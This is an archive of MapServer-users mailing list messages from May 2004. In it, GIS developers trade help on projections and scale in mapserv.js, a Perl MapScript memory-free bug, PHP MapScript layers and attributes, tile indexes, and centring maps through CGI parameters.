Subject: RE: [Mapserver-users] Using mapserv.js with decimal degrees
We have, for the time being, decided that we must use projected data
with mapserv.js. In order to get accurate scale calculations necessary
for the navigation tools, the units must be planar.
The solution might involve some javascript conversion of lat/long mouse
clicks and extents into planar distances, doing the scale calculations,
then converting back to lat/long. It would be much easier to simply
reproject the datasets.
Thanks to everyone for their help.
Matt Perry
Natural Resources Planning
Humboldt State University
mtperry78@sbcglobal.net
--- Ed McNierney wrote:
> Matt -
>
> The problem with unprojected data is that it's a strange and
> hard-to-interpret data set when you try to measure something!
>
> If your data is displayed in "decimal degrees" that means that one
> degree of latitude and one degree of longitude form a square. Of
> course, they don't really do that anywhere on the Earth. And unless
> you're really close to the equator, one degree of longitude is
> noticeably shorter than one degree of latitude. And the length of one
> degree of longitude varies depending on the latitude.
>
> So you've got a map that lets users measure "one degree" - what does
> that mean? It means that you're taking those angular units and trying
> to pretend they're linear units. If someone measures between two
> points on your map and measures one degree, they will know that the
> square root of the sum of the latitude difference squared and the
> longitude difference squared equals one. It does not tell them
> anything about how far apart those two points are in any useful linear
> measurement (feet, miles, meters, cubits, chains, furlongs, etc.).
>
> And if you display a scalebar on that map, the units must be in
> "degrees", whatever they are .
>
> What kind of measurement are you hoping to display?
>
> - Ed
>
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com / Maps a la carte, Inc.
> 73 Princeton Street, Suite 305
> North Chelmsford, MA 01863
> ed@topozone.com
> (978) 251-4242
>
> -----Original Message-----
> From: Matthew Perry [mailto:mtperry78@sbcglobal.net]
>
> Sent: Monday, May 03, 2004 3:01 PM
> To: mapserver-users@lists.gis.umn.edu
> Cc: Gregor Mosheh
> Subject: [Mapserver-users] Using mapserv.js with decimal degrees
>
> Hey all,
> I have been using the mapserv.js and dbox.js libraries for
> developing mapserver interfaces. It works great for projected data but
> now we're trying to get the navigation tools (panning, zooming, etc)
> to work with decimal degrees.
>
> In the mapserv.js, there is a global variable called InchesPerMapUnit
> that you need to set correctly if not using meters.
> Since lat/long is
> measured in angular units (degrees), how would you set this variable?
>
> Are there any other tricks to get the coordinate calculations working
> with lat/long? Anyone had any luck with this? Is it even possible?
>
> Thanks for any input!
>
> Matt Perry
> Natural Resources Planning
> Humboldt State University
> mtperry78@sbcglobal.net
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
>
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From eric@gomoos.org Tue May 4 20:18:09 2004
From: eric@gomoos.org (Eric Bridger)
Date: 04 May 2004 15:18:09 -0400
Subject: [Mapserver-users] Perl Mapscript 4 $image->free() bug
Message-ID: <1083698295.1521.102.camel@ubet.gomoos.org>
Moving my Perl mapscript scripts to mapserver 4.0.2 and 4.2 beta1 I've
discovered a problem with the imageObj->free() method.
I think I recall some recent posts with similiar problems on FreeBSD
systems.
We are running: FreeBSD 4.8, Perl5.8.0
Both:
MapServer version 4.2-beta1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG
OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER
SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT
INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR
INPUT=GDAL INPUT=SHAPEFILE
--without-tiff GDAL 1.1.9
At first I thought it might be an Apache/mod_perl issue. Apache log
showed messages like:
httpd in free(): warning: junk pointer, too high to make sense
mapserver.log showed occasional:
Tue May 4 14:33:30 2004 - msFreeImage(): General error message. Unknown
image type
But the short script and map file below, run from the command line
produces ~ 900:
perl in free(): warning: page is already free
perl in free(): warning: junk pointer, too high to make sense
perl in free(): warning: chunk is already free
Simple work around is to stop using $imageObj->free() which fixes the
problem.
======= free_test.pl ================
#!/usr/bin/perl
use strict;
use mapscript4;
#OR
#use mapscript42;
$ENV{MS_ERRORFILE} = '/tmp/mapserver4.log';
my $image_name = "free_test.png";
my $map = new mapscript4::mapObj("free_test.map");
if(!$map){
warn "New mapObj() error: $mapscript4::ms_error->{message}\n";
}
my $img = $map->draw();
if(!$img){
warn "map->draw() error: $mapscript4::ms_error->{message}\n";
}
$map->drawLabelCache($img);
$img->save($image_name);
# This causes core dump. w/o it works fine.
$img->free();
exit;
======== free_test.map =================
MAP
STATUS ON
EXTENT -71.50 39.5 -63.0 46.0 # MINX MINY MAXX MAXY
SIZE 600 459
IMAGETYPE PNG
UNITS DD
IMAGECOLOR 152 245 255
OUTPUTFORMAT
NAME PNG
DRIVER "GD/PNG"
MIMETYPE "image/png"
# 24bit
#IMAGEMODE RGB
# 8 bit
IMAGEMODE PC256
EXTENSION "png"
END
PROJECTION
"proj=latlong"
END
LAYER
NAME "gom_states"
TYPE POLYGON
STATUS DEFAULT
DATA
"/home/www/gomoos.org/data/mapserver/vector/usgs/states/land_east"
CLASS
STYLE
OUTLINECOLOR 162 193 194
COLOR 255 255 204
END
END
PROJECTION
"proj=latlong"
END
END
END
From eric@gomoos.org Tue May 4 20:18:39 2004
From: eric@gomoos.org (Eric Bridger)
Date: 04 May 2004 15:18:39 -0400
Subject: [Mapserver-users] How to import mysql data in mapscript
In-Reply-To:
References:
Message-ID: <1083698324.1455.105.camel@ubet.gomoos.org>
This is certainly possible using mapscript. But you must ensure that
there is at least one key value in common between your shapes and your
database. queryByPoint, or queryByRect, etc will return to you the
contents of you shape files DBF file. If one of those is a key value,
such as country code, you can then use it to query your MySQL database.
Conversely you can loop thru all you shapes and check each one for a
matching country code (key value) and then set attributes on the shape,
such as hightlight, etc.
On Tue, 2004-05-04 at 13:36, Attri, Abhishek wrote:
> Hi all,
>
>
>
> Please let me know if it's possible at all. I am trying to import data
> (which is not shape data, but just simple data like population of all
> counties of a state) from a MySQL database, and query the shapefiles for
> "Counties" based on the fields in the MySQL database. The shapefiles
> and the results from the MySQL query have nothing in common. They are
> two totally different data sources. How can I integrate them?
>
>
>
> Has anyone done something like this? If yes, then how will you set the
> values of 'data', 'classitem' and 'setexpression' in the layer and
> class objects?
>
> If that's not possible, what else can be done to achieve the above
> purpose?
>
>
>
> I have tried a lot of combinations to import data, and query the result
> set, but was not successful to create the layer based on MySQL data.
> Please help!
>
>
>
> With thanks,
>
>
>
> Abhishek
>
>
>
>
>
>
>
>
>
From schaumberger@gmx.net Tue May 4 21:42:31 2004
From: schaumberger@gmx.net (Andreas Schaumberger)
Date: Tue, 4 May 2004 22:42:31 +0200
Subject: [Mapserver-users] Query
Message-ID: <000001c43218$5892dc00$8c00000a@SCHAUMBERGER>
This is a multi-part message in MIME format.
------=_NextPart_000_0001_01C43229.1C1BAC00
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Hello!
As a student I'm starting to work with MapServer on a project this term. =
Our
job is to add our own attributes to an existing shape-file. These =
attributes
should be stored in a SQL-Database (postgreSQL - postgis) as a relation =
to
the attributes of the shape-file. The user should click on a feature in =
the
map and get the list of attributes. Now, the user should be able to add =
his
attributes. So far, the implementation is quite clear but we still have =
a
missing link.=20
=20
Is there any way to get the key (or other) attribute of the feature =
which is
clicked on? We need this attribute as a variable in our java servlet for
running the database application. We would like to use only the CGI
MapServer.
=20
Thanks for help
Andreas
=20
=20
=20
------=_NextPart_000_0001_01C43229.1C1BAC00
Content-Type: text/html;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Nachricht
Hello!
As a=20
student I'm starting to work with MapServer on a project this term. Our =
job is=20
to add our own attributes to an existing shape-file. These attributes =
should be=20
stored in a SQL-Database (postgreSQL – postgis) as a relation to =
the attributes=20
of the shape-file. The user should click on a feature in the map and get =
the=20
list of attributes. Now, the user should be able to add his attributes. =
So far,=20
the implementation is quite clear but we still have a missing link.=20
Is there=20
any way to get the key (or other) attribute of the feature which is =
clicked on?=20
We need this attribute as a variable in our java servlet for running the =
database application. We would like to use only the CGI=20
MapServer.
Thanks for=20
help
Andreas
------=_NextPart_000_0001_01C43229.1C1BAC00--
From dmorissette@dmsolutions.ca Tue May 4 22:06:25 2004
From: dmorissette@dmsolutions.ca (Daniel Morissette)
Date: Tue, 04 May 2004 17:06:25 -0400
Subject: [Mapserver-users] PHP4's bundled regex problem - PHP MapScript
In-Reply-To: <4097B792.6060600@ccgis.de>
References: <200404301413.i3UEDLA9011504@ccom.unh.edu> <409790C1.7020001@ccgis.de> <40979816.3030808@uva.nl> <4097B792.6060600@ccgis.de>
Message-ID: <409805D1.7090104@dmsolutions.ca>
Benjamin Thelen wrote:
> Mapserver needs php to be compiled as a cgi, if phpMapScript support is
> requested, so --with-apache or --with-apxs doesn't really make sense, I
> think. But maybe I am wrong. I agree, that lots of people have had this
> problem and the error message is missleading.
>
PHP's --with-regex=system works *only* if PHP is configured as a CGI,
that is that is without the --with-apxs and --with-httpd options.
I have updated the error message in both 4.2 and 4.3 versions to try to
explain that more clearly:
!!! The current version of PHP MapScript has some problems with !!!
!!! PHP4's bundled regex. Until we figure the solution to the !!!
!!! problem, the workaround is to compile PHP4 with the system regex !!!
!!! Please re-configure and re-compile PHP4 using --with-regex=system !!!
!!! and then re-configure and re-compile MapServer. !!!
!!! Note that PHP's --with-regex=system works only when PHP is !!!
!!! is configured as a CGI (that is without the --with-apxs and !!!
!!! --with-httpd options). So if you configured your PHP using !!!
!!! --with-regex=system and still get this error then make sure you !!!
!!! configured PHP as a CGI.
--
------------------------------------------------------------
Daniel Morissette dmorissette@dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From sgillies@frii.com Tue May 4 22:31:48 2004
From: sgillies@frii.com (Sean Gillies)
Date: Tue, 04 May 2004 15:31:48 -0600
Subject: [Mapserver-users] Re: [Mapserver-dev] Perl Mapscript 4 $image->free() bug
In-Reply-To: <1083698295.1521.102.camel@ubet.gomoos.org>
References: <1083698295.1521.102.camel@ubet.gomoos.org>
Message-ID: <40980BC4.5080207@frii.com>
Eric Bridger wrote:
> Moving my Perl mapscript scripts to mapserver 4.0.2 and 4.2 beta1 I've
> discovered a problem with the imageObj->free() method.
>
> I think I recall some recent posts with similiar problems on FreeBSD
> systems.
>
> We are running: FreeBSD 4.8, Perl5.8.0
> Both:
> MapServer version 4.2-beta1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG
> OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER
> SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT
> INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
>
> MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
> SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
> SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR
> INPUT=GDAL INPUT=SHAPEFILE
>
> --without-tiff GDAL 1.1.9
>
> At first I thought it might be an Apache/mod_perl issue. Apache log
> showed messages like:
> httpd in free(): warning: junk pointer, too high to make sense
> mapserver.log showed occasional:
> Tue May 4 14:33:30 2004 - msFreeImage(): General error message. Unknown
> image type
>
> But the short script and map file below, run from the command line
> produces ~ 900:
> perl in free(): warning: page is already free
> perl in free(): warning: junk pointer, too high to make sense
> perl in free(): warning: chunk is already free
>
> Simple work around is to stop using $imageObj->free() which fixes the
> problem.
>
[snip]
Eric,
There should be no need to free images. I've made changes to mapscript
so that Perl's garbage collector sweeps up all instances of imageObj
and calls the DESTROY method (known as ~imageObj() in mapscript.i).
In fact, you shouldn't have to explicitly free any objects anymore.
Sorry that I haven't made this clear in the development docs.
If you don't want to wait for garbage collection, undef the instance
rather than calling its free() method.
cheers,
Sean
From aattri@cba.ua.edu Tue May 4 22:51:15 2004
From: aattri@cba.ua.edu (Attri, Abhishek)
Date: Tue, 4 May 2004 16:51:15 -0500
Subject: [Mapserver-users] How to import mysql data in mapscript
Message-ID:
Thanks a lot Eric!
Abhishek
-----Original Message-----
From: Eric Bridger [mailto:eric@gomoos.org]
Sent: Tuesday, May 04, 2004 2:19 PM
To: Attri, Abhishek
Cc: Mapserver List
Subject: Re: [Mapserver-users] How to import mysql data in mapscript
This is certainly possible using mapscript. But you must ensure that
there is at least one key value in common between your shapes and your
database. queryByPoint, or queryByRect, etc will return to you the
contents of you shape files DBF file. If one of those is a key value,
such as country code, you can then use it to query your MySQL database.
Conversely you can loop thru all you shapes and check each one for a
matching country code (key value) and then set attributes on the shape,
such as hightlight, etc.
On Tue, 2004-05-04 at 13:36, Attri, Abhishek wrote:
> Hi all,
>
>
>
> Please let me know if it's possible at all. I am trying to import data
> (which is not shape data, but just simple data like population of all
> counties of a state) from a MySQL database, and query the shapefiles
for
> "Counties" based on the fields in the MySQL database. The shapefiles
> and the results from the MySQL query have nothing in common. They are
> two totally different data sources. How can I integrate them?
>
>
>
> Has anyone done something like this? If yes, then how will you set the
> values of 'data', 'classitem' and 'setexpression' in the layer and
> class objects?
>
> If that's not possible, what else can be done to achieve the above
> purpose?
>
>
>
> I have tried a lot of combinations to import data, and query the
result
> set, but was not successful to create the layer based on MySQL data.
> Please help!
>
>
>
> With thanks,
>
>
>
> Abhishek
>
>
>
>
>
>
>
>
>
From ganesh@cs.und.edu Tue May 4 23:05:29 2004
From: ganesh@cs.und.edu (Ganesh Pulicherla)
Date: Tue, 4 May 2004 17:05:29 -0500
Subject: [Mapserver-users] Get attribute values from Shapefile
Message-ID: <1083708329.409813a99f8e7@webmail.aero.und.edu>
Hello everyone
We are using PHP/Mapscript on Linux. I have a quick question: How can i get the
attribute values of a Shape file using PHP/Mapscript ? For eg., In the Counties
shapefile, i want to retrieve all the county names under the C_NAME column in
the shapefile.
Any help is greatly appreciated.
Thanks in advance
Ganesh
From eric@gomoos.org Wed May 5 03:39:46 2004
From: eric@gomoos.org (Eric Bridger)
Date: Tue, 04 May 2004 22:39:46 -0400
Subject: [Mapserver-users] Re: [Mapserver-dev] Perl Mapscript 4
$image->free() bug
In-Reply-To: <000901c43225$55a34a40$0100000a@cybermedia.local>
References: <1083698295.1521.102.camel@ubet.gomoos.org>
<1083698295.1521.102.camel@ubet.gomoos.org>
Message-ID: <4.3.2.7.2.20040504223711.00aace40@mail.gomoos.org>
At 11:15 PM 05/04/2004 +0100, Sean Gillies wrote:
>Eric,
>
>There should be no need to free images. I've made changes to mapscript
>so that Perl's garbage collector sweeps up all instances of imageObj
>and calls the DESTROY method (known as ~imageObj() in mapscript.i).
>In fact, you shouldn't have to explicitly free any objects anymore.
>Sorry that I haven't made this clear in the development docs.
>
>If you don't want to wait for garbage collection, undef the instance
>rather than calling its free() method.
Excellent Sean. Thanks.
From eric@gomoos.org Wed May 5 04:23:51 2004
From: eric@gomoos.org (Eric Bridger)
Date: Tue, 04 May 2004 23:23:51 -0400
Subject: [Mapserver-users] Get attribute values from Shapefile
In-Reply-To: <1083708329.409813a99f8e7@webmail.aero.und.edu>
Message-ID: <4.3.2.7.2.20040504231702.00abbdb0@mail.gomoos.org>
At 05:05 PM 05/04/2004 -0500, Ganesh Pulicherla wrote:
>
>We are using PHP/Mapscript on Linux. I have a quick question: How can i get the
>attribute values of a Shape file using PHP/Mapscript ? For eg., In the Counties
>shapefile, i want to retrieve all the county names under the C_NAME column in
>the shapefile.
Shape files have 2 parts. *.shp holds the geometry and the attributes are ih a standard dbf file with the same name. Shape # 1 corresponds with the DBF record # 1, etc.
So all you really need is a PHP module to read DBF files, such as dbase. Sorry I don't know the exact PHP module name, something like dbase.so. In Perl I use something called XBase.pm.
From publiek@home.nl Wed May 5 08:05:02 2004
From: publiek@home.nl (Marcel Koopman)
Date: Wed, 5 May 2004 9:05:02 +0200
Subject: [Mapserver-users] Making layers in php mapscript
Message-ID: <200405050705.i4575GFS011835@lists.gis.umn.edu>
Hello,
I cant get php mapscript to create (and show) a layer.
But i want to make layers in php mapscript, instead of retrieving the ones defined in the mapfile.
Here's one layer i have defined in a mapfile:
/**********************************************************************\
LAYER
GROUP "std"
CONNECTIONTYPE postgis
NAME nstudenten
CONNECTION "user=postgres dbname=testdb"
DATA "the_geom from gem_gron_poly"
STATUS off
TYPE POLYGON
TEMPLATE "templates/nstudenten.html"
HEADER "templates/nstudenten_header.html"
FOOTER "templates/nstudenten_footer.html"
DUMP TRUE
PROJECTION
"init=epsg:28992"
END
CLASS
NAME "Aantal studenten 0 - 100"
EXPRESSION ([N_STUDENTEN_ROC] >0 AND [N_STUDENTEN_ROC] <= 100)
COLOR 217 217 255
END
CLASS
NAME "Aantal studenten 100 - 500"
EXPRESSION ([N_STUDENTEN_ROC] >100 AND [N_STUDENTEN_ROC] <= 500)
COLOR 177 177 255
END
CLASS
NAME "Aantal studenten 500 - 1000"
EXPRESSION ([N_STUDENTEN_ROC] >500 AND [N_STUDENTEN_ROC] <= 1000)
COLOR 136 136 255
END
CLASS
NAME "Aantal studenten > 1000"
EXPRESSION ([N_STUDENTEN_ROC] >1000)
COLOR 75 75 255
END
END
/**********************************************************************\
So, this is my php code (groningen-php.map has no layers, i define a new one here in php-mapscript):
-----------------------------------------------------------------------------
$map_path="/var/www/groningen/";
$map = ms_newMapObj($map_path."groningen-php.map");
$layer = ms_newLayerObj($map);
$layer->set(name, $naam);
$layer->set(connectiontype, "postgis");
$layer->set(connection, "user=postgres dbname=testdb");
$layer->set(data, "the geom from gem_gron_poly");
$layer->set(type, MS_POLYGON);
$layer->set(status, MS_ON);
$class = ms_newClassObj($layer);
$class->set(name, "nstudenten");
$class->setexpression("[N_STUDENTEN_ROC] >0 AND [N_STUDENTEN_ROC] <= 100");
$style = ms_newStyleObj($class);
$style->color->setRGB(10,100,10);
$layer_img = $map->prepareimage();
$i = $layer->draw($layer_img);
echo $i;
$layer_url = $layer_img->saveWebImage();
echo "";
-----------------------------------------------------------------------------
I cant get a normal image from mapserver. What am i missing?
Thanks for your help.
From samuzzal@linux.net Wed May 5 08:06:41 2004
From: samuzzal@linux.net (Sam Choudry)
Date: Wed, 5 May 2004 00:06:41 -0700 (PDT)
Subject: [Mapserver-users] Coloring problem solved
Message-ID: <20040505070641.D2D46394D@sitemail.everyone.net>
Thank you Thieme for your kind help in solving my problem. The layer
color can be changed now with user input R,G,B values. Thanx again.
Samuzzal
_____________________________________________________________
Linux.Net -->Open Source to everyone
Powered by Linare Corporation
http://www.linare.com/
From norbert.thieme@ilmenau.baw.de Wed May 5 08:17:26 2004
From: norbert.thieme@ilmenau.baw.de (Norbert Thieme)
Date: Wed, 05 May 2004 09:17:26 +0200
Subject: [Mapserver-users] Get attribute values from Shapefile
In-Reply-To: <1083708329.409813a99f8e7@webmail.aero.und.edu>
References: <1083708329.409813a99f8e7@webmail.aero.und.edu>
Message-ID: <40989506.5020906@ilmenau.baw.de>
Ganesh Pulicherla schrieb:
> Hello everyone
>
> We are using PHP/Mapscript on Linux. I have a quick question: How can i get the
> attribute values of a Shape file using PHP/Mapscript ? For eg., In the Counties
> shapefile, i want to retrieve all the county names under the C_NAME column in
> the shapefile.
> Any help is greatly appreciated.
>
> Thanks in advance
> Ganesh
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
This is simple. There is a way in php to use php's dbase functions. I
could tell you that but there is a better way by using the mapscript
functions itself. The advantage of this is that it gives you the values
of all(?) queryable data. To get the field names use this:
$layer->open();
$items = $layer->getitems();
$layer->close();
To get the values from one query result use this:
$layer->open();
$data_shp = $layer->getshape($tile_index, $shape_index);
$layer->close();
$data = $data_shp->values;
So you have two arrays - one with the field names and one with the
values. Loop through the first to get the index of the field you search
and take this index to the second array to get the value you want.
Regards,
Norbert
From mweinelt@planiglobe.com Wed May 5 09:43:40 2004
From: mweinelt@planiglobe.com (Martin Weinelt)
Date: Wed, 5 May 2004 10:43:40 +0200
Subject: [Mapserver-users] TILEINDEX question
In-Reply-To: <4097C67D.7000901@rkiq.com>
References: <4097C67D.7000901@rkiq.com>
Message-ID: <200405051043.40280.mweinelt@planiglobe.com>
On Tuesday 04 May 2004 18:36, Jerl Simpson wrote:
> I keep seeing this term TILEINDEX and I have yet to find what it
> actually is, or what it provides.
>
> I am hoping it helps index the maps, so that when I look at a small
> section of my entire map, it indexes this and speeds up the maps. And
> doesn't look at the entire US to draw a small area of say, Long Island.
>
> Can someone point me to a more detailed explanation of this feature?
>
> Thanks,
Yes, but not quite. The 'TILEINDEX' keyword tells mapserv that a an
index-shapefile exists that references a proviously tiled dataset. And to use
that index-shapefile during mapconstruction to achieve faster mapping like
you described.
You must tile your dataset and create the index-shapefile beforehand. For
tiling look in the wiki VectorHOWTO and check the utility programs 'tile4ms'
and 'shp2tile'.
Martin
From antonio.cosenza@polito.it Wed May 5 10:03:49 2004
From: antonio.cosenza@polito.it (toni)
Date: Wed, 05 May 2004 11:03:49 +0200
Subject: [Mapserver-users] mysql problem
Message-ID: <4098ADF5.9050504@polito.it>
hi, guys, i have always the same problem with mysql data sets.
this is my problem, with mapserver and mygis.
I attached 2 urls to better explain you the problem:
www.consulter.to.it/mapserver/italy.png
www.consulter.to.it/mapserver/italy_mysql.png
-italy.png is the map rendered by mapserver using the shapefile.
-italy_mysql.png is the map rendered connecting to mygis. I used
shp2mysql.pl (with the code hacked too!) to import the shape into mysql
3.23.49 (i'm using debian woody).
Why maps are different?
Where is the problem? is it a perl script bug or the shapefile i used is
not well edited?!
Thanks
Toni
From e9625730@student.tuwien.ac.at Wed May 5 10:13:34 2004
From: e9625730@student.tuwien.ac.at (Elisabeth Nolz)
Date: Wed, 5 May 2004 11:13:34 +0200
Subject: [Mapserver-users] center map on x,y coordinates
Message-ID:
hi paco.
i've tried scale=15000000 or scale=5000, but there's still this error: "
getNumeric(): Incorrect data type. "
perhaps you have an idea what's causing this problem.
On Tuesday 04 May 2004 16:04, Paco Regodon wrote:
The scale parameter is not clear, as it is related with RESOLUTION.
If your units are meters, you can calculate your escale using this formula:
scale = ((EXTENT * 100) * RESOLUTION / 2.54 ) / image_width_in_pixels.
RESOLUTION defaults to 72 dpi (dots per inch) but you can change it in the
mapfile if you need to.
Just try a big scale (scale=15000000).
Have you tried using MAPXY/BUFFER instead of MAPXY/SCALE?
Paco
On Tuesday 04 May 2004 11:24, Elisabeth Nolz wrote:
hi list.
in my application i have a drop-down menu with lots of addresses (addresses
and appropriate x,y coordinates stored in a mysql-database). the user can
choose one address and then click on the submit-button to show the map
centered on the chosen address.
the problem is, that i don't know how i could center my map on x,y
coordinates.
i found the following entry in the mapserver-user-history:
"If you have x,y coordinates for the centers of your parcels in your mysql
database, you can just run your search, grab the results, and redirect to a
url like:
http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000"
i tried this link with my coordinates but it doesn't work this way. could
someone help me please?
thx,
elisabeth.
From alhim@intracom.gr Wed May 5 10:53:35 2004
From: alhim@intracom.gr (Alexandros Chimarios)
Date: Wed, 5 May 2004 12:53:35 +0300
Subject: [Mapserver-users] center map on x,y coordinates
In-Reply-To:
References:
Message-ID: <200405051253.35053.alhim@intracom.gr>
Hi Elisabeth,
maybe it's because of the URL( which I told you to try yesterday ;-)) ), try
this mapxy param without the double quotes "", like that :
http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql
y_from_mysql&scale=150000
On Wednesday 05 May 2004 12:13, Elisabeth Nolz wrote:
> hi paco.
> i've tried scale=15000000 or scale=5000, but there's still this error: "
> getNumeric(): Incorrect data type. "
> perhaps you have an idea what's causing this problem.
>
>
> On Tuesday 04 May 2004 16:04, Paco Regodon wrote:
> The scale parameter is not clear, as it is related with RESOLUTION.
>
> If your units are meters, you can calculate your escale using this formula:
>
> scale = ((EXTENT * 100) * RESOLUTION / 2.54 ) / image_width_in_pixels.
>
> RESOLUTION defaults to 72 dpi (dots per inch) but you can change it in the
> mapfile if you need to.
> Just try a big scale (scale=15000000).
>
> Have you tried using MAPXY/BUFFER instead of MAPXY/SCALE?
>
> Paco
>
>
> On Tuesday 04 May 2004 11:24, Elisabeth Nolz wrote:
> hi list.
> in my application i have a drop-down menu with lots of addresses (addresses
> and appropriate x,y coordinates stored in a mysql-database). the user can
> choose one address and then click on the submit-button to show the map
> centered on the chosen address.
> the problem is, that i don't know how i could center my map on x,y
> coordinates.
>
> i found the following entry in the mapserver-user-history:
> "If you have x,y coordinates for the centers of your parcels in your mysql
> database, you can just run your search, grab the results, and redirect to a
> url like:
> http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_f
>rom_mysql&scale=150000"
>
> i tried this link with my coordinates but it doesn't work this way. could
> someone help me please?
>
> thx,
> elisabeth.
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From samuzzal@linux.net Wed May 5 10:58:08 2004
From: samuzzal@linux.net (Sam Choudry)
Date: Wed, 5 May 2004 02:58:08 -0700 (PDT)
Subject: [Mapserver-users] QueryMap problem
Message-ID: <20040505095808.69C17AD00@sitemail.everyone.net>
Hi,
I successfully implemented the QueryByPoint() a few days back. Now,
I am using the following QueryMap object in my map file to change the
colour of the queried point.
...
QUERYMAP
STYLE HILITE
COLOR 255 0 0
END
...
LAYER
NAME "pt-barama"
DATA "pt-barama"
TOLERANCEUNITS pixels
TOLERANCE 5
STATUS ON
TYPE POINT
CLASS
TEMPLATE "ttt-query.html"
SIZE 6
COLOR 82 160 238
OUTLINECOLOR 82 160 238
SYMBOL 7
END # end of class object
END
...
And the symbol used is
Symbol
Name 'circle'
Type ELLIPSE
Filled TRUE
Points
1 1
END
END
But the colour of the symbol is not changing. Can you give me any
suggestion regarding this. Bye.
Samuzzal
_____________________________________________________________
Linux.Net -->Open Source to everyone
Powered by Linare Corporation
http://www.linare.com/
From e9625730@student.tuwien.ac.at Wed May 5 11:25:04 2004
From: e9625730@student.tuwien.ac.at (Elisabeth Nolz)
Date: Wed, 5 May 2004 12:25:04 +0200
Subject: [Mapserver-users] center map on x,y coordinates
Message-ID:
hi alexandro.
the problem were not the double quotes but the comma in my coordinates, so i
tried points instead of commas:
http://localhost/cgi-bin/mapserv?map=map.map&mapxy=339989.20%201646.20&scale=5000
now i get this new error (???):
mapserv(): Web application error. No template provided.
On Wednesday 05 May 2004 12:53, Alexandros Chimarios wrote:
Hi Elisabeth,
maybe it's because of the URL( which I told you to try yesterday ;-)) ),
try this mapxy param without the double quotes "", like that :
http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql
y_from_mysql&scale=150000
On Wednesday 05 May 2004 12:13, Elisabeth Nolz wrote:
hi paco.
i've tried scale=15000000 or scale=5000, but there's still this error: "
getNumeric(): Incorrect data type. "
perhaps you have an idea what's causing this problem.
On Tuesday 04 May 2004 16:04, Paco Regodon wrote:
The scale parameter is not clear, as it is related with RESOLUTION.
If your units are meters, you can calculate your escale using this formula:
scale = ((EXTENT * 100) * RESOLUTION / 2.54 ) / image_width_in_pixels.
RESOLUTION defaults to 72 dpi (dots per inch) but you can change it in the
mapfile if you need to.
Just try a big scale (scale=15000000).
Have you tried using MAPXY/BUFFER instead of MAPXY/SCALE?
Paco
On Tuesday 04 May 2004 11:24, Elisabeth Nolz wrote:
hi list.
in my application i have a drop-down menu with lots of addresses (addresses
and appropriate x,y coordinates stored in a mysql-database). the user can
choose one address and then click on the submit-button to show the map
centered on the chosen address.
the problem is, that i don't know how i could center my map on x,y
coordinates.
i found the following entry in the mapserver-user-history:
"If you have x,y coordinates for the centers of your parcels in your mysql
database, you can just run your search, grab the results, and redirect to a
url like:
http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000"
i tried this link with my coordinates but it doesn't work this way. could
someone help me please?
thx,
elisabeth.
From norbert.thieme@ilmenau.baw.de Wed May 5 11:59:59 2004
From: norbert.thieme@ilmenau.baw.de (Norbert Thieme)
Date: Wed, 05 May 2004 12:59:59 +0200
Subject: [Mapserver-users] What the extent hits?
Message-ID: <4098C92F.50505@ilmenau.baw.de>
Hello,
I'm trying to find out if there is a simple way to find out what layers
and Shapes are in the current extent. The question may be silly because
I can do query by rectancle with the current extent but the
functionality is already in mapscript and get used when querying by
attributes.
I'm going to use a context sensitiv legend. I only want to see the
Layers which are in the current extent and also only the displayed
classes of each layer.
I can write that my own but if I could get from the mapobj it would sure
be better for the performance.
Ideas are appreciated.
Thanks in advance,
Norbert
From antonio.cosenza@polito.it Wed May 5 14:07:07 2004
From: antonio.cosenza@polito.it (toni)
Date: Wed, 05 May 2004 15:07:07 +0200
Subject: [Mapserver-users] mysql problem
In-Reply-To: <1083761286.1892.4.camel@ubet.gomoos.org>
References: <4098ADF5.9050504@polito.it> <1083761286.1892.4.camel@ubet.gomoos.org>
Message-ID: <4098E6FB.1060405@polito.it>
thanks Eric,
yes, indeed, it seems to be a script bug, I agree with you.
toni
Eric Bridger wrote:
>Looks to me like the problem lies with the shp2mysql.pl script. I'm not
>familiar with that script but it looks like some Italian
>provinces/states (?) include islands which your script is attempting to
>attach to the polygon. You need a way to distinguish islands from the
>mainland provinces.
>
>On Wed, 2004-05-05 at 05:03, toni wrote:
>
>
